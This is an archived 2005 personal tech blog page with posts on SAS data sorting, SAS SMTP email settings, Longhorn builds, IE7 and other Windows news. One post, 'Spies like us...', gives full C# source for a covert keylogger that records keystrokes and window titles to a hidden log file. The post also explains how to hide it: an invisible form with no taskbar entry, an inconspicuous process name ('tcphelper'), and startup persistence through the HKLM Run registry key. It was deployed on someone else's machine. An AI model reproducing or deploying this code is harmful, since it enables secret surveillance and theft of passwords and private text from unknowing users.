in

Blog By Bob

Blog by Bob

April 2005 - Posts

  • Lack of respect for SAS

    I have never liked SAS much, although I did blog about how to send email from SAS using your server instead of your email client. Today I ran into an issue that strongly reinforced that lack of respect for SAS.

    One of the hats I wear at work is that of a Data Analyst. Much of the data we work with is large. Quite large actually. Usually I do this work in SQL Server and move the data to SAS after the data has been rolled up and minimized a smuch as possible. This time is different, the data ended up in SAS directly, and then ended up in my share, since our SAS person recently moved on.

    So, SAS is an enterprise level tool, it should handle the data just fine. The workstation is a dual proc xeon box with 2 gigs of RAM and a 400 gig striped data drive. I am confident.

    The first thing I decide I want to do is do a join, called a merge in SAS, between a 73 million record dataset and another smaller dataset. In SAS, before you can do a merge, you have to actuall *sort* the dataset. Otherwise SAS gets confused. Can anyone say 'Not a real relation database engine'? I knew you could. So I start the sort process and go to lunch. I expect it to take awhile, in SQL, with proper indexes built, it would still take a bit.

    I get my hair cut and then go eat. My lunch is slightly longer than an hour and a half. SAS is not done. That is not a good sign.

    I go work on some server things for an hour and come back. SAS is not done. I am no longer confident. The end result? SAS has some issues with the way it sorts. It filled up the whole RAID drive with its temporary data set and died. I am more lacking in confidence than anyone alive.

    I call SAS support. I explain the issue and the immediate answer is 'Oh yeah, thats going to be ugly'. Hello? I think I know this already. They gave me a nice formula that tells me how much space is needed to do a sort.

    To estimate the amount of free work disk space required for a proc sort, review the following formula:

    free_bytes_required=(key_variable_length + observation_length) * number_of_observations * 4

    Where:

    key_variable_length: Length of sorting variable. Example: If sorting by a character variable with a length of 10, this would produce a key_variable_length of 10 bytes. A numeric variable would be 8 bytes.

    obsevation_length: Total number of bytes in an observation. Add together the bytes for all variables in one observation.

    number_of_observations: Total number of observations in a data set.

    This does not help me solve my issue. The colums are 397 characters wide, most of the data is character, and I had enabled Unicode, which is off by default.

    By my estimates, based off of the integers being 8 bytes and using 2 bytes for each unicode character, SAS will need a temp file of ~320 gigs. To sort a 28 gig file...

    Fortunantly SAS allows you to build adhoc SQL code inside a PROC SQL block, unfortunantly the join has taken 2 hours so far and is still running...

  • Microsoft and Longhorn...

    So, I blogged below that Microsoft wants us to go ahead and start getting our products certified to run on Windows Longhorn. I somewhat made fun of that, considering their inability to actual release the OS iteself, but I do admit, there is some value in planning no for the changes (SP2 anyone?).

    Having said that, I notice there is a new build of the Longhorn beta, there are screenshots here. Definitely looking more finished, more refined. Granted from a visual perspective, it doesn't look like anything more than a skinned version of XP, but I am sure they have changed alot under the hood.....

    I am easily excitable, so I run off to MSDN downloads to get the new build and.... there are no builds of Longhorn in MSDN downloads, not even 4074 which was the last build that was there. Hmm. This seems somewhat conflicting with the 'developers prepare to get your apps certified for Longhorn' additude they currently have. How do I plan for an OS I only have pictures of?

    I am hoping that they only took the old builds down so they could load the new, and that when I get up in the morning, there will be a fresh shiny build 5048 waiting for me...Steve, you listening??

  • More IE7 rewrite info

    I have definitely voiced my opinion about the current state of IE, and the things I would like to see corrected. It seems by this post on the IE blog that alot of those things are going to be addressed. It still isnt going to be a managed app, I still think that it would be more secure inherently that way, but I think with the work they claim to be doing towards adhering to some standards, I can let that one slide. The one thing I didnt see listed that I know will probably be mentioned, is support for jpeg2 standards, which could have something to do with everyone getting sued over jpeg use, although the alpha channel support for png files is a nice addition. Go provide a voice to make sure we get all we can in the new IE.

  • x64 RTM

    Windows 2003 Server and Windows XP 64 bit version RTMed today. If you have a machine that came OEM with Windows XP or Windows 2003 server and has a 64 bit CPU, check to see if you qualify for the free upgrade. If you have a machine with the 64 AMD chips and want to play with the 64 bit OS, you can find the trial download of Windows 2003 Server here or the trial of XP here.
  • Spies like us...

    Without getting into why I needed it, I decided I needed to make a keylogger. There are actually a plethora of examples in unmanaged code, but I wanted to do it in C#. Yes, I am lazy. Anyhow, after wandering the internet, I found an awesome example in C#. Unfortunantly, I forgot the link, so I can't give credit to he who provided me guidance. The full project is downloadable from here.

    The first thing we need to do is make the class that is going to be doing the actual capturing of the key presses.

    using System;
    using System.Runtime.InteropServices;
    using System.Reflection;
    using System.Threading;
    using System.Windows.Forms;

    namespace Recorder
    {
       
    public class InputListener
        { 
            [DllImport("user32.dll")]
           
    public static extern int GetAsyncKeyState (long vKey);
           
    public delegate void KeyPressHandler (object sender,KeyPressEventArgs e);
           
    public event KeyPressHandler OnKeyPress;
            Thread thdMain;

            public void Run()
            { 
                 thdMain =
    new Thread(new ThreadStart(RunThread));
                 thdMain.Start();
            }
           
    public void Stop()
            {
                 thdMain.Abort();
            }
           
    private void RunThread()
            {
               
    while(true
               {
                   Thread.Sleep(1);
                  
    int i=0; 
                   
    for(i=1;i
                  {
                     
    if (GetAsyncKeyState(i) == Int16.MinValue+1 )
                     {
                         KeyPressEventArgs KeyPressInfo =
    new KeyPressEventArgs( Control.ModifierKeys,i);
                        
    if (OnKeyPress!=null)
                        {
                            OnKeyPress(
    this,KeyPressInfo);
                        }
                      } 
                   }
                } 
            }
            public class KeyPressEventArgs : EventArgs
           {
              
    public KeyPressEventArgs( Keys ModifierKeys,int KeyCode)
                  {
                     
    this.ModifierKeys= ModifierKeys;
                     
    this.KeyCode = KeyCode;
                  
    }
               public readonly Keys ModifierKeys; 
               public readonly int KeyCode;
            }
        }
    }

    Next, we need a class to write the data to the drive.

    using System;
    using System.IO;

    namespace Recorder
    {
       
    public class LogWriter
        {
           
    public LogWriter()
            {
            }
            
    private static StreamWriter outputWriter;

            public static void Open()
           
    {
               
    string FileName="LogFile"+DateTime.Now.Year.ToString()+DateTime.Now.Month.ToString("0#")+DateTime.Now.Day.ToString("0#")+".txt";
               
    try
               
    {
                   
    outputWriter = new StreamWriter("c:\\Windows\\System32\\Logfiles\\"+FileName,true);
                
    }
               
    catch
              
    {}
           
    }
           
    public static void Close()
           
    {
               
    try
                
    {
                    
    outputWriter.Flush();
                   
    outputWriter.Close();
               
    }
               
    catch
               
    {}
            
    }
           
    public static void Flush()
           
    {
               
    try
                
    {
                   
    outputWriter.Flush();
               
    }
               
    catch
               
    {
            
    }
           
    public static void Write(string TextToWrite)
           
    {
                
    try
               
    {
                   
    outputWriter.Write(TextToWrite);
               
    }
               
    catch
               
    {}
            
    }
       
    }
    }

    The first thing you will notice is although I am catching any errors here, I am not actually doing anything about them. At the time, the only thing that mattered was if the application failed, the user shouldn't know, and since the application has already served its function, I am *way* too lazy to go back and do something more robust.Barring that, what other class would we need?

    Well, when I first ran the key logger, I was like 'Nice'. Then I was like 'Hmmm....' because even though you can see what they are typing, you aren't seeing what they are typing in. So we add the following class to write to the file when focus changes to a new window.

    using System;
    using System.Text;
    using System.Runtime.InteropServices;
    using System.Threading;
    using System.Reflection;

    namespace Recorder
    {
       
    public class WindowListener
        {
           
    public WindowListener()
            {
            
    }
           
    public string OldWindow="";
           
    public string NewWindow="";
            [ DllImport("user32.dll") ]
           
    static extern int GetForegroundWindow(); 
            [ DllImport("user32.dll") ] 
            static extern int GetWindowText(int hWnd, StringBuilder text, int count);
           
    string CarriageReturn = System.Environment.NewLine;
            Thread thdMain;
           
    public void Run()
            {
                thdMain =
    new Thread(new ThreadStart(RunThread));
                thdMain.Start();
            }
           
    public void Stop()
           {
                thdMain.Abort();
           }
           
    private void RunThread() 
          {
              
    while(true
              {
                   Thread.Sleep(30);
                  
    const int nChars=256;
                  
    int handle=0;
                   StringBuilder Buff =
    new StringBuilder(nChars);
                   handle=GetForegroundWindow();
                  
    if(GetWindowText(handle,Buff,nChars)>0)
                   {
                       NewWindow=handle.ToString();
                      
    if(NewWindow!=OldWindow)
                      {
                         
    string TextToWrite=CarriageReturn+CarriageReturn+Buff.ToString()+CarriageReturn+DateTime.Now+CarriageReturn+CarriageReturn;
                          LogWriter.Write(TextToWrite);
                          LogWriter.Flush();
                          OldWindow=NewWindow;
                      }
                  }
              } 
          }
        }
    }

    The last interesting thing, the application is a WinForm instead of a WinService. I spent a few minutes debating this and decided it was the best solution, all things considered. There were several reasons for this, the main one being deployment. As this was a very fast coding and deploying job, and my physical access to the machine was somewhat limited, it seemed the best solution. I got around the limitations of the form by turning off the show in task bar options and minimizing the form on launch. This kept it from showing in the task bar, and also kept it from showing in the alt-tab window. Then all that was needed was to name the exe something inconspicuous (tcphelper) and add a key to hkey_local_machine\software\microsoft\windows\currentversion\run to launch it on startup.

    This way I could push out a new version quickly if I need to, by just remotely killing the exe, pushing out the new one and restarting the application. I know that you can use Net Start/Net Stop for services, but I was somewhat concerned about versioning issues and didn't have time to research it. It all worked out well in the end. Here is the code from the WinForm.

    using System;
    using System.Drawing;
    using System.Windows.Forms;

    namespace Recorder
    {
       
    public class Form1 : System.Windows.Forms.Form
        {
           
    private System.ComponentModel.Container components = null;
            
    private InputListener inputListener;
           
    private WindowListener windowListener;
           
    public Form1()
            {
                InitializeComponent();
            }
           
    protected override void Dispose( bool disposing )
            {
               
    if( disposing )
                {
                    
    if (components != null)
                    {
                        
    components.Dispose();
                    }
                }
               
    base.Dispose( disposing );
            }
            #region Windows Form Designer generated code
           
    private void InitializeComponent()
            {
                
    this.AutoScaleBaseSize = new System.Drawing.Size(5, 13);
               
    this.ClientSize = new System.Drawing.Size(0, 0);
                this.Name = "Form1";
               
    this.Opacity = 0;
                
    this.ShowInTaskbar = false;
               
    this.Text = "tcpHelpMain";
               
    this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
               
    this.Closing += new System.ComponentModel.CancelEventHandler(this.Form1_Closing);
               
    this.Load += new System.EventHandler(this.Form1_Load);
            }
            
    #endregion
            [STAThread]
            static void Main()
            {
                Application.Run(
    new Form1());
            }
           
    private void Form1_Load(object sender, System.EventArgs e) 
            {
                
    this.Visible=false;
                inputListener =
    new InputListener();
                inputListener.OnKeyPress +=
    new InputListener.KeyPressHandler(InputListener_KeyPress);
                inputListener.Run();
                LogWriter.Open();
                windowListener =
    new WindowListener();
                windowListener.Run();
            }
           
    private void InputListener_KeyPress(object sender, InputListener.KeyPressEventArgs e)
            {
                
    string TextToWrite;
               
    switch(e.KeyCode)
                {
                    
    case 13:
                              TextToWrite=System.Environment.NewLine;
                   
    break;
                   
    case 20:
                              TextToWrite=" ";
                   
    break;
                   
    default:
                              TextToWrite=Convert.ToChar(e.KeyCode).ToString().ToLower();
                   
    break;
                }
                LogWriter.Write(TextToWrite);
            }
           
    private void Form1_Closing(object sender, System.ComponentModel.CancelEventArgs e)
            {
                inputListener.Stop();
                windowListener.Stop();
                LogWriter.Flush();
                LogWriter.Close();
            }
        }
    }

    There are a few issues, mainly any special characters, ie backspace, tab, etc come out as funny little blocks, you will notice I actually caught carriage returns and tabs so I could at least have some semblence of formatting. Also, there are 2 threads calling the file io class, but that should be fine as I made that class static, which is inherently thread safe. On a side note, after trying to format that much code in the Edit Post window in .Text, I am either going to rewrite the editor, or find a better one...

  • Things to make you go mad

    So, split keyboards are getting more hard to come by. The one I prefer to use is the Microsoft Wireless Desktop Pro. I have been using one of these at home and one at work as long as I can remember. Seth got me hooked on them, so I have to blame him. Anyhow, something changed at work about 3 weeks ago. Some thing in the environment is interfering with the wireless reciever.

    Basically, every 3 minutes or so, it does whatever it wants. Most of the time it moves the cursor or the current window that has focus to the top right hand corner of the screen. Or, it might highlight the paragraph I am working on, so as I type it all gets deleted. If it is feeling particularly playful, it will scroll the window contents up and down for a bit. I swear, I was listening to Linkin Park and it was scrolling to the music, well, maybe not.

    And it is definitely the wireless getting interference. Flattened the box. Same thing. New machine. Same thing. Before 9am, when the office is empty, it works fine, but I cant tell what is being turned on that is causing it. Damn technology is evil....

  • Microsoft gets a sense of humor...

    So, being an MCSD, MCAD, whatever, and working for a company who is a Microsoft Certified Partner, I get alot of strange emails from Microsoft. Today I opened my inbox to the oddest one yet. Microsoft in its infinite wisdom, who can't even get Longhorn *finished*, the same Microsoft that has axed more of the new features in Longhorn than it kept, has a new logo program. I am sure everyone is well of aware of the 'Designed for Windows XP' logo, well now they have one for Longhorn, even though it is still a decade away. 2006 my...uh nevermind.

  • I'm Still Seeing Breen

    Check out this cool video, Paul Marino made with the Half Life 2 engine, to the song 'Cold' by Breaking Benjamin. Awesome job!
  • They're coming to take me away, haha

    I've come to an interesting impass. For the first time since starting this blog I have so many things in my head that I want to blog about that I can't even begin. I have a few things going on at work, but I have a feeling I am going to put about several articles this weekend. You've been warned....

    On a side note, I noticed that Mike has decided not to continue with his blog, which is a shame since he has a great deal of knowledge and perspective on a variety of topics. I am going to see if I can get him to guest blog here once in a while, maybe keep things going when Bob is being lazy, so if you see any articles signed Mike, you'll know why.

  • ISA and Windows 2003 Server SP1

    Not that anyone that comes here is really looking for ISA information, but I thought I would comment since we just went through this at work. According to Tristan (*the* ISA man) K's blog, he recommends installing SP1 for ISA 2004 Standard Edition (The Enterprise Edition comes with the SP1 changes) and then installing SP1 for Windows 2003 Server.

  • Sending Email from SAS

    I have this love hate thing going with SAS, mainly, I love to hate it. That being said, I was tasked with writing a piece of code to automate the sending of emails from within a SAS batch process. This isn't really a difficult thing, but there is just enough 'oddity' that I thought I would expound slightly.

    The code to send the email is quite simple:

    filename mymail emailbob@blogbybob.com
                          subject="Blog More"
                          from="The Blog Police";

    data _null_;
        file mymail;
        put 'Blog more or else...';
    run;

    You would also of course want to send username and password information if needed, I skip this as our mail server does not authenticate you if you are sending an email from an internal email address to another internal email address. The issue? SAS uses your email client to send emails, so you get the whole

    and have to click to allow it to send the email. Not a very well automated process. After some digging I found there are environmental variables you can set to allow you to send email as SMTP mail, directly accessing the mail server, though the bad of that is you can't just set the value in the SAS program, you have to set a global setting in the actual SAS config file. The SAS configuration file is located at C:\Program Files\SAS\SAS 9.1\nls\en , more or less, or you should at least be able to find it with that much information...

    The file you will want to open is SASV9.CFG, back it up first, or don't, your call. There is a big section that says

    /*---------------------------------------------------------------\
    | WARNING:  INSTALL Application edits below this line.  User     |
    |           options should be added above this box comment.      |
    |           INSTALL Application maintains and modifies the       |
    |           following options; -SASAUTOS, -SASHELP, -SASMSG,     |
    |           -PATH, and -MAPS.  It also maintains and modifies    |
    |           the following CONFIG variables with the -SET option; |
    |           INSTALL, USAGE, LIBRARY, SAMPSIO, SAMPSRC, SASCBT,   |
    |           and SASEXT01-SASEXT50.  It preserves all lines above |
    |           the line containing 'DO NOT EDIT BELOW THIS LINE'.   |
    \---------------------------------------------------------------*/

    so I followed its recommendation and added my modifications above that line. The lines you will want to add are

    -EMAILSYS SMTP
    -EMAILHOST mail.myserver.com

    Changing mail.myserver.com to your mail server, of course. The default is EMAILSYS as MAPI, which is why it used your email client. Now you can crank through any automated reporting procedures and have the report emailed to your boss while you are outside enjoying the sun...err...I mean working on another project. I don't necessary *hate* SAS, I am mainly bitter that the workstation version will not install on Windows 2003 Server...Windows 2003 Server *is* my workstation, damn it. Until next time...

  • The Emperor's New Clothes...

    You can be jealous now.

  • Windows 2003 Server SP1

    Microsoft has released SP1 for Windows 2003 to manufacturing. You can download it here. I have been using the RCs for months and can truly recommend it. The addition of the enhancements to IE that were in Windows XP SP2 are worth the download, and they are only a small part of the whole package.
More Posts
Copyright © :: BlogByBob.com
Powered by Community Server (Non-Commercial Edition), by Telligent Systems